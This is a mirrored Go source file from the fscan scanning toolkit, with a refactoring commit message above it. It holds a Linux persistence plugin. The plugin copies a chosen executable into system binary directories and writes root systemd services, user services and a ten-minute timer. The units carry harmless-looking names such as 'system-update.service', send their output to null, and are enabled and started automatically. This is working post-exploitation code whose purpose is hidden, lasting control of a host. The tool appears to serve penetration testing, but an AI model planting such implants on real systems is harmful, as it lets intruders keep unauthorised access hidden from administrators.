mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

主要改进: 1. 修复Services插件端口数据重复问题 - 删除插件结构体中的ports字段和GetPorts()方法 - 系统统一使用注册时的端口信息 2. 引入BasePlugin基础结构体 - 消除51个插件中重复的name字段和Name()方法 - 统一插件基础功能,简化代码维护 3. 统一插件接口设计 - 保持向后兼容,功能完全不变 - 代码更简洁,符合工程最佳实践 影响范围: - services插件:29个文件简化 - web插件:2个文件简化 - local插件:21个文件简化 - 总计删除约150行重复代码
422 lines
10 KiB
Go
422 lines
10 KiB
Go
//go:build linux
|
|
|
|
package local
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
)
|
|
|
|
// SystemdServicePlugin 系统服务持久化插件 - Linus式简化版本
|
|
//
|
|
// 设计哲学:直接实现,删除过度设计
|
|
// - 删除复杂的继承体系
|
|
// - 直接实现系统服务持久化功能
|
|
// - 保持原有功能逻辑
|
|
type SystemdServicePlugin struct {
|
|
plugins.BasePlugin
|
|
targetFile string
|
|
}
|
|
|
|
// NewSystemdServicePlugin 创建系统服务持久化插件
|
|
func NewSystemdServicePlugin() *SystemdServicePlugin {
|
|
targetFile := common.PersistenceTargetFile
|
|
if targetFile == "" {
|
|
targetFile = ""
|
|
}
|
|
|
|
return &SystemdServicePlugin{
|
|
BasePlugin: plugins.NewBasePlugin("systemdservice"),
|
|
targetFile: targetFile,
|
|
}
|
|
}
|
|
|
|
|
|
|
|
// Scan 执行系统服务持久化 - 直接实现
|
|
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
|
var output strings.Builder
|
|
|
|
if runtime.GOOS != "linux" {
|
|
output.WriteString("系统服务持久化只支持Linux平台\n")
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
|
}
|
|
}
|
|
|
|
if p.targetFile == "" {
|
|
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: fmt.Errorf("未指定目标文件"),
|
|
}
|
|
}
|
|
|
|
// 检查目标文件是否存在
|
|
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
|
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile))
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
// 检查systemctl是否可用
|
|
if _, err := exec.LookPath("systemctl"); err != nil {
|
|
output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
output.WriteString("=== 系统服务持久化 ===\n")
|
|
output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
|
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
|
|
|
var results []string
|
|
var successCount int
|
|
|
|
// 1. 复制文件到服务目录
|
|
servicePath, err := p.copyToServicePath()
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
|
} else {
|
|
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
|
|
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
|
|
successCount++
|
|
}
|
|
|
|
// 2. 创建systemd服务文件
|
|
serviceFiles, err := p.createSystemdServices(servicePath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
|
|
} else {
|
|
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
|
|
output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
|
|
successCount++
|
|
}
|
|
|
|
// 3. 启用并启动服务
|
|
err = p.enableAndStartServices(serviceFiles)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
|
|
} else {
|
|
results = append(results, "服务已启用并启动")
|
|
output.WriteString("✓ 服务已启用并启动\n")
|
|
successCount++
|
|
}
|
|
|
|
// 4. 创建用户级服务
|
|
userServiceFiles, err := p.createUserServices(servicePath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
|
|
} else {
|
|
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
|
|
output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
|
|
successCount++
|
|
}
|
|
|
|
// 5. 创建定时器服务
|
|
err = p.createTimerServices(servicePath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
|
|
} else {
|
|
results = append(results, "已创建systemd定时器")
|
|
output.WriteString("✓ 已创建systemd定时器\n")
|
|
successCount++
|
|
}
|
|
|
|
// 输出统计
|
|
output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
|
|
|
if successCount > 0 {
|
|
common.LogSuccess(fmt.Sprintf("系统服务持久化完成: %d个方法成功", successCount))
|
|
}
|
|
|
|
return &ScanResult{
|
|
Success: successCount > 0,
|
|
Output: output.String(),
|
|
Error: nil,
|
|
}
|
|
}
|
|
|
|
// copyToServicePath 复制文件到服务目录
|
|
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
|
|
// 选择服务目录
|
|
serviceDirs := []string{
|
|
"/usr/local/bin",
|
|
"/opt/local",
|
|
"/usr/bin",
|
|
}
|
|
|
|
var targetDir string
|
|
for _, dir := range serviceDirs {
|
|
if err := os.MkdirAll(dir, 0755); err == nil {
|
|
targetDir = dir
|
|
break
|
|
}
|
|
}
|
|
|
|
if targetDir == "" {
|
|
return "", fmt.Errorf("无法创建服务目录")
|
|
}
|
|
|
|
// 生成服务可执行文件名
|
|
basename := filepath.Base(p.targetFile)
|
|
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
|
|
if serviceName == "" {
|
|
serviceName = "system-service"
|
|
}
|
|
|
|
targetPath := filepath.Join(targetDir, serviceName)
|
|
|
|
// 复制文件
|
|
err := p.copyFile(p.targetFile, targetPath)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
// 设置执行权限
|
|
os.Chmod(targetPath, 0755)
|
|
|
|
return targetPath, nil
|
|
}
|
|
|
|
// copyFile 复制文件内容
|
|
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
|
|
sourceData, err := os.ReadFile(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(dst, sourceData, 0755)
|
|
}
|
|
|
|
// createSystemdServices 创建systemd服务文件
|
|
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
|
|
systemDir := "/etc/systemd/system"
|
|
if err := os.MkdirAll(systemDir, 0755); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
services := []struct {
|
|
name string
|
|
content string
|
|
enable bool
|
|
}{
|
|
{
|
|
name: "system-update.service",
|
|
enable: true,
|
|
content: fmt.Sprintf(`[Unit]
|
|
Description=System Update Service
|
|
After=network.target
|
|
Wants=network-online.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
User=root
|
|
ExecStart=%s
|
|
Restart=always
|
|
RestartSec=60
|
|
StandardOutput=null
|
|
StandardError=null
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
`, execPath),
|
|
},
|
|
{
|
|
name: "system-monitor.service",
|
|
enable: true,
|
|
content: fmt.Sprintf(`[Unit]
|
|
Description=System Monitor Service
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=forking
|
|
User=root
|
|
ExecStart=%s
|
|
PIDFile=/var/run/system-monitor.pid
|
|
Restart=on-failure
|
|
StandardOutput=null
|
|
StandardError=null
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
`, execPath),
|
|
},
|
|
{
|
|
name: "network-check.service",
|
|
enable: false,
|
|
content: fmt.Sprintf(`[Unit]
|
|
Description=Network Check Service
|
|
After=network-online.target
|
|
Wants=network-online.target
|
|
|
|
[Service]
|
|
Type=oneshot
|
|
User=root
|
|
ExecStart=%s
|
|
StandardOutput=null
|
|
StandardError=null
|
|
`, execPath),
|
|
},
|
|
}
|
|
|
|
var created []string
|
|
for _, service := range services {
|
|
servicePath := filepath.Join(systemDir, service.name)
|
|
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
|
|
created = append(created, service.name)
|
|
}
|
|
}
|
|
|
|
if len(created) == 0 {
|
|
return nil, fmt.Errorf("无法创建任何systemd服务文件")
|
|
}
|
|
|
|
return created, nil
|
|
}
|
|
|
|
// enableAndStartServices 启用并启动服务
|
|
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
|
|
var errors []string
|
|
|
|
for _, serviceName := range serviceFiles {
|
|
// 重新加载systemd配置
|
|
exec.Command("systemctl", "daemon-reload").Run()
|
|
|
|
// 启用服务
|
|
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
|
|
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
|
|
}
|
|
|
|
// 启动服务
|
|
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
|
|
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
|
|
}
|
|
}
|
|
|
|
if len(errors) > 0 {
|
|
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// createUserServices 创建用户级服务
|
|
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
|
|
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
|
if userDir == "/.config/systemd/user" { // HOME为空的情况
|
|
userDir = "/tmp/.config/systemd/user"
|
|
}
|
|
|
|
if err := os.MkdirAll(userDir, 0755); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
userServices := []string{
|
|
"user-service.service",
|
|
"background-task.service",
|
|
}
|
|
|
|
userServiceContent := fmt.Sprintf(`[Unit]
|
|
Description=User Background Service
|
|
After=graphical-session.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=%s
|
|
Restart=always
|
|
RestartSec=30
|
|
StandardOutput=null
|
|
StandardError=null
|
|
|
|
[Install]
|
|
WantedBy=default.target
|
|
`, execPath)
|
|
|
|
var created []string
|
|
for _, serviceName := range userServices {
|
|
servicePath := filepath.Join(userDir, serviceName)
|
|
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
|
|
created = append(created, serviceName)
|
|
|
|
// 启用用户服务
|
|
exec.Command("systemctl", "--user", "enable", serviceName).Run()
|
|
exec.Command("systemctl", "--user", "start", serviceName).Run()
|
|
}
|
|
}
|
|
|
|
return created, nil
|
|
}
|
|
|
|
// createTimerServices 创建定时器服务
|
|
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
|
|
systemDir := "/etc/systemd/system"
|
|
|
|
// 创建定时器服务文件
|
|
timerService := fmt.Sprintf(`[Unit]
|
|
Description=Scheduled Task Service
|
|
Wants=scheduled-task.timer
|
|
|
|
[Service]
|
|
Type=oneshot
|
|
ExecStart=%s
|
|
StandardOutput=null
|
|
StandardError=null
|
|
`, execPath)
|
|
|
|
// 创建定时器文件
|
|
timerConfig := `[Unit]
|
|
Description=Run Scheduled Task Every 10 Minutes
|
|
Requires=scheduled-task.service
|
|
|
|
[Timer]
|
|
OnBootSec=5min
|
|
OnUnitActiveSec=10min
|
|
AccuracySec=1s
|
|
|
|
[Install]
|
|
WantedBy=timers.target
|
|
`
|
|
|
|
// 写入服务文件
|
|
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
|
|
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
|
|
return err
|
|
}
|
|
|
|
// 写入定时器文件
|
|
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
|
|
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
|
|
return err
|
|
}
|
|
|
|
// 启用定时器
|
|
exec.Command("systemctl", "daemon-reload").Run()
|
|
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
|
|
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
|
|
|
|
return nil
|
|
}
|
|
|
|
// 注册插件
|
|
func init() {
|
|
RegisterLocalPlugin("systemdservice", func() Plugin {
|
|
return NewSystemdServicePlugin()
|
|
})
|
|
} |